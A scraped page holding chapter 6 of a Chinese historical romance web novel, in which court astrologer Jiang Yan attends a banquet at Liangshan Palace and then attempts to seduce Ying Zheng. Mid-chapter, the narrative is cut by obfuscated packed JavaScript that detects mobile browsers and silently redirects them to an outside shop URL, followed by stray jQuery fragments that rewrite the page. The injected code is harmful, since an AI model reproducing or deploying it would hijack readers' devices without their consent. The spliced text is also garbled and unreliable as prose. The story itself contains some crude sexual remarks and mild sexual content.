默认冷灰
24号文字
方正启体

6. 第 6 章

作者:与山言本书字数:K更新时间:
    姜砚第一次提了一个相对正常的要求,看起来还很喜欢,哪怕是住山顶上嬴政也准了,并且十分得意:“你若是有其它想住的地方,我便派人修建宫殿。”


    姜砚拒绝了:“不需要。”


    她不是什么忧国忧民心怀百姓的人,有福自然要独享,但有些事情确实没有必要做。只有嬴政有兴致造那么多宫殿,跟那些拥有几十套房子的有钱人一样,可以没人住但不能没有。


    有钱人嬴政看起来很遗憾,姜砚起身走到崖边,倒觉得这里非常适合修建一座观星楼。


    嬴政道:“何为观星楼?”


    现有观测天象的工具不多,姜砚既然有这个想法,自然要把后来的观星台照搬过来。她懒得解释原理,想了想说道:“我过几日再把图画好,照着建就行。”


    嬴政十分大方:“你若是想建所谓的仙宫,也未尝不可。”


    他觉得这个提议相当不错,以后甚至可以在咸阳城仿建六国宫殿。


    姜砚想到后世的钢筋水泥楼房,面无表情:“这倒是不必了。”


    ——


    夏天来得很快,除了临时决定的观星楼,梁山宫内部都已修建完毕。等天气一热,嬴政便带着一群人浩浩荡荡住了进来。


    公司组团度假第一天,自然要先聚个餐。姜砚参加过的宫宴不少,如今因为炒锅的使用,宴会上饭菜更符合她的口味了。她做过最符合穿越者身份的事情,就是设计用炒锅炒菜。


    虽然她懒得搞发明创造,但不会亏待自己的饮食。她还顺带把乱七八糟的茶变成最符合她口味的清茶,加上羊乳和水果,就是一款非常好喝的饮品了。


    姜砚原来还只是坐在末尾的角落里,如今升了职,座位往前挪了挪,刚好在中间,视野倒是很不错。有不少人看见她,端着杯盏过来敬酒。


    “恭喜太史令,真是年少有成啊。”


    “太史令,咱们日后还要相互提携,多多走动啊。”


    姜砚倒是有些意外,觉得这种事情从古至今都没变过,但她实在不喜欢喝酒,光明正大以茶代酒。


    几人碰了杯,还有一个眼神不满的站在后头。一看是来找茬的,姜砚喝了口茶,语调不紧不慢:“宗正丞,小心你的屁股。”


    周围不少人听见了,脸色都是一僵。姜砚说完就不再言语,像是随口提醒。


    但太史令职位特殊,她说的话没人知道是威胁还是预言。宗正丞碰了一鼻子灰,骂骂咧咧退了回去,佞臣!她不过仗秦王之势才能如此行事!姜砚哪有他清白高洁,出淤泥而不染。他只是缺少一个机会,若是秦王能在某一天注意到他,一定能欣赏他纯洁无暇的灵魂。


    “秦王到——”


    众人瞬间敛声屏息,起身下拜。嬴政缓步走来,他身着墨色绣金龙袍,头戴玄冕,垂明月之珠,服太阿之剑,俊美端严,风姿卓然,令人不敢逼视。


    宗正丞恭恭敬敬俯下身,见秦王视线扫过他,心中大喜,满脸堆笑。姜砚她有两种器官又怎么样,场上这么多人,秦王一看就被他的身姿容貌牢牢吸引住了。


    他不再计较刚才的小插曲,侧头朝端坐不动的姜砚轻哼一声。姜砚看他一副小人得势的做派,一脸莫名。她没有读心术,有时候总觉得自己和这个时代的人有着深深的代沟。


    嬴政心情很好,他坐在上方,举杯笑道:“今日不必拘礼,众卿共饮。”


    群臣皆呼万岁,举杯落座,殿中钟鼓齐鸣。如果说姜砚在宴席上最不习惯的是味觉,第二个不习惯的就是听觉。虽然嬴政本人热爱音乐,但秦国的乐团实在不符合她的审美。


    觥筹交错,杯盏之间,又到了员工表演环节。秦人尚武,没有什么诗惊四座的美谈,无论文臣武将,都是当场比武。


    李斯脱下官服,袒胸立于场中。他手持长弓,正中靶心,文臣叫好。


    蒙恬随即被推着站了起来,他长得人高马大,却十分年轻,性格开朗也不拘束,兴致勃勃拉开弓箭,又是正中靶心。


    两人有来有回,宴会气势高涨。嬴政一边听音乐一边看他两个近臣武斗,这日子可太舒心了。


    姜砚不理解,十分不理解,她吵得脑袋嗡嗡响,完全不明白这有什么好玩的。吵吵嚷嚷烦得要死,不如全都灌醉操了。


    宴席过半,她迅速找了个借口出来透气,对后续应酬完全不感兴趣,看打架不如出来看星星。


    姜砚抛了抛铜币,回到自己屋里将事先准备好的东西放进袖口,又在外面晃了一圈回来。蒙恬已经穿好上衣守在门口,点头向她打了个招呼:“姜太史令,恭喜。”


    姜砚淡淡嗯了一声。


    蒙恬见她没有要进殿的意思,站着跟她聊起来:“此情此景,倒是让我想起当年。”


    当年他随秦国使团迎回长公子政,他们三人哪会想到各自能走到今天这个位置。


    他话匣子一开,就是在说秦王的丰功伟绩,又说秦王有雄才大略,是天纵之才。


    姜砚当初每见一个历史名人,都会验证一下自己的相面之术。蒙恬身为嬴政最信任的人之一,俨然一个大型忠犬。


    他道:“想必姜太史令跟在陛下身边,也是这个原因吧。”


    姜砚心道,那倒不是。


    嬴政的近臣中,似乎只有自己别有用心。


    她认真听了一会,心里算了算时间,开口打断他:“我来送秦王回殿。”


    姜砚掀开门帘踏入殿内,所有人都醉得差不多了,酒量差的倒在地上,酒量好的也坐得歪歪扭扭。场上除了她,没一个清醒站着的。实机正好,可以捡一个最漂亮的回去了。


    她双目清明,独自站在末尾,视线穿过混乱的人群,直直落在最高处。


    殿内曲乐未停,嬴政坐在上首,一手撑额,另一手轻敲扶手,冕冠遮挡住他的神情,看起来凛然不可犯。


    姜砚又静静看了一会,旁若无人地走上前,她一步步走得很慢,也无人敢制止她,直到她登上台阶,逼近王位。


    嬴政抬起头看她,两人安静对视片刻,姜砚盯着他醉意朦胧的双眸,唇角弯了弯,伸出手道:“走吧,陛下。”


    宴席已散,唯二没醉的蒙恬忠心耿耿守在殿外,十分信任地目送两人走远。


    ——


    内侍端来醒酒汤,贴心合上房门。姜砚有时候觉得谣言还是有点用处的。比如无人觉得她在秦王的寝殿有什么不妥,也无人担心她会对他们的秦王做些什么。


    嬴政摘下玄冕扔在桌上,有些头疼地按了按额头。姜砚闻到他身上淡淡的酒气,她其实还是更喜欢清醒一点的,意识不清就不够好玩了。


    姜砚贴心地将醒酒汤端给他:“喝吧。”


    嬴政看了她一眼,倒是接过来喝了。


    嬴政表面看起来和平日没什么区别,手上动作也不晃。但他竟然没对她站在这里发表意见,姜砚便判断他醉得不轻。


    嬴政喝完了,将碗递回给她。姜砚道:“你自己放回去。”


    嬴政没动,这时候姜砚也不计较,伸手接过,嬴政却突然握住了她的手腕。


    他开口道:“这就是你要做的事?”


    姜砚倏然抬头,嬴政眼神清明,没有半分醉意。


    姜砚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349232|199573||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    静了片刻,没想到嬴政系统升级了,还学会装醉了。


    但这也不影响她后面干什么,姜砚神情不变:“对。”


    嬴政揉了揉眉心,觉得姜砚可能从来没想过后果:“你年岁不大,不过看了些……伤身的东西,有了一些想法,但此事还需慎重考虑。”


    姜砚忽然笑了一声。


    嬴政甚少看见姜砚的笑,姜砚总是做一些令人头疼的事。他盯着她的脸,姜砚止住笑意,伸手抓住他的衣领让他俯身,狠狠咬上他的嘴唇。


    血气在唇舌间弥漫,姜砚松开他,语气如常:“说什么废话呢,现在就去洗干净,好吗?”


    嬴政直起身,慢慢用拇指抹去唇边血迹,眸色晦暗不明。姜砚实在没有耐心,她直言道:“我不喜欢酒味,你要是不愿意就算了。”


    嬴政神情变幻莫测,他在原地站了一会,转身走进浴池,又留下一句话:“我给你后悔的机会。”


    姜砚将袖口的两个木盒拿出来,她知道两人想的不是一回事,不过问题不大,上了就知道了。


    嬴政沐浴过后,发尾带着水汽,垂落了他眉眼的戾气,看起来温和不少。


    姜砚静静看着,道:“过来。”


    嬴政眯了眯眼睛:“也就你敢这么说话。”


    他低下头,姜砚动机不纯,亲得十分缓慢,嬴政蹙了蹙眉,摁着她的后脑勺又狠狠咬了她一口。


    嬴政斜了她一眼:“你没吃饱吗?”


    姜砚抿了抿唇,冷着脸把他按到塌上,嬴政笑了起来,语调愉快,带着一点醉意:“嗯?太史令生气了。”


    姜砚拉开他的领口,冰凉的手伸进去,嬴政握住她的手腕:“手怎么这么凉。”


    姜砚应了一声,心无旁骛地摸到腰下。


    拉扯之间,姜砚的头发有些散了,落到他的脸侧,两人头发缠在一起,嬴政指腹摩挲着她的头发,伸手压着她的后脖把她摁下来。


    姜砚任由他亲了一会,嘴唇下移,牙齿咬住他的喉结,嬴政闷哼一声,姜砚松了口,摸了摸他的脸:“你闭上眼睛,有个东西送给你。”


    嬴政挑了挑眉,见姜砚一脸认真,想了想还是闭上了。姜砚自然地将他翻了个身,等姜砚慢悠悠解开他的腰带,嬴政感受到背后的冰凉,意识到什么,翻身坐起,只见姜砚手上拿着个什么东西,再一看,姜砚把它藏到身后,一脸平静。


    两人面对面坐着,嬴政觉得此事处处透露着诡异之感,他背后凉凉的:“放着什么东西?”


    姜砚把盒子盖好放回去,把背后的玉扳指拿出来:“送给你了。”


    嬴政第一回收到姜砚的礼物,姜砚从来不做多余的事,她的任何补偿性质的行为都是因为她做了坏事还要求一个心安理得,跟打个巴掌给颗甜枣没区别。嬴政心中警惕,也许是喝了酒,他意识并不太清醒:“你又打什么鬼主意?说来听听。”


    姜砚道:“你衣服都脱了,问这么多干什么。”


    嬴政只觉得处处古怪,他没了做事的心情,拢了拢内袍站起身,一脸对她不信任的表情。


    姜砚看他样子不得不佩服他的敏锐,嗯,看来嬴政对她很了解嘛。


    她没有要霸王硬上弓的意思,只是笑了笑:“你在害怕吗?”


    嬴政盯着她的脸没说话,姜砚今天笑了三次了。


    姜砚很快收了笑,也站起身:“我走了,你自己玩吧。”


    她正要把装着扳指的木盒一起收起来,嬴政想到什么,又大步走来,将盒子抢走了。


    姜砚:“……”


    行吧,反正本来也是要给他的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)